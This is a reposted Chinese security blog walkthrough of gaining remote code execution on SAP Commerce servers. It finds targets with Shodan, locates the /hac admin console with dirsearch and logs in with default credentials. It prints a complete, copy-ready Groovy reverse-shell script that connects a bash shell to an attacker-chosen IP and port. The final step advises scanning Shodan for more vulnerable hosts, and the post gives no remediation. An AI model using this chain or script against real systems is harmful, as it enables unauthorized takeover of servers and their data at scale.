如何在一个目标中获取两个RCE

admin 2024年4月15日08:26:31评论3 views字数 1265阅读4分13秒阅读模式

如何在一个目标中获取两个RC

                                        整个攻击流程

环节 1: 目标识别和信息收集

1.使用Shodan搜索引擎搜索包含特定SSL证书信息("ssl:target.com")的服务器,旨在找到使用这一证书的服务器IP地址。

2.目录和路径探索:通过使用dirsearch工具对找到的IP地址进行目录枚举,发现了一个管理登录页面(如/hac/login/)。这个路径是SAP Commerce默认的管理Web应用程序,通常用于系统管理操作。

环节 2: 利用默认凭证登录

1.获取默认登录凭证:

通过谷歌搜索找到了SAP Commerce管理控制台的默认登录凭证(用户名:"admin",密码:"nimda")。这些信息通常应该是保密的,但在一些文档或社区论坛中可能被泄露。

2.成功登录管理控制台:

使用获取到的默认凭证,攻击者成功登录了管理面板,这通常意味着他获得了执行管理任务的能力。

环节 3: 发现并利用执行脚本的功能

1.发现执行脚本功能:

在管理面板内,发现了一个控制台标签页,允许用户执行Groovy脚本(/hac/console/scripting/)。

2.编写并执行恶意脚本:

编写了一个Groovy脚本,该脚本创建了一个反向Shell连接回指定的IP和端口。这使得研究员能够从远程执行系统命令,获得对服务器的控制。

String host="Your Ip Here";

int port=Your Port;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();

Socket s=new Socket(host,port);

InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();

OutputStream po=p.getOutputStream(), so=s.getOutputStream();

while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {p.exitValue(); break;} catch (Exception e){}
};

p.destroy();

s.close();


环节 4: 扩展攻击

在成功获取远程代码执行能力后,返回Shodan搜索其他可能存在相同安全漏洞的服务器。

原文始发于微信公众号(迪哥讲事):如何在一个目标中获取两个RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日08:26:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何在一个目标中获取两个RCEhttps://cn-sec.com/archives/2657398.html

发表评论

匿名网友 填写信息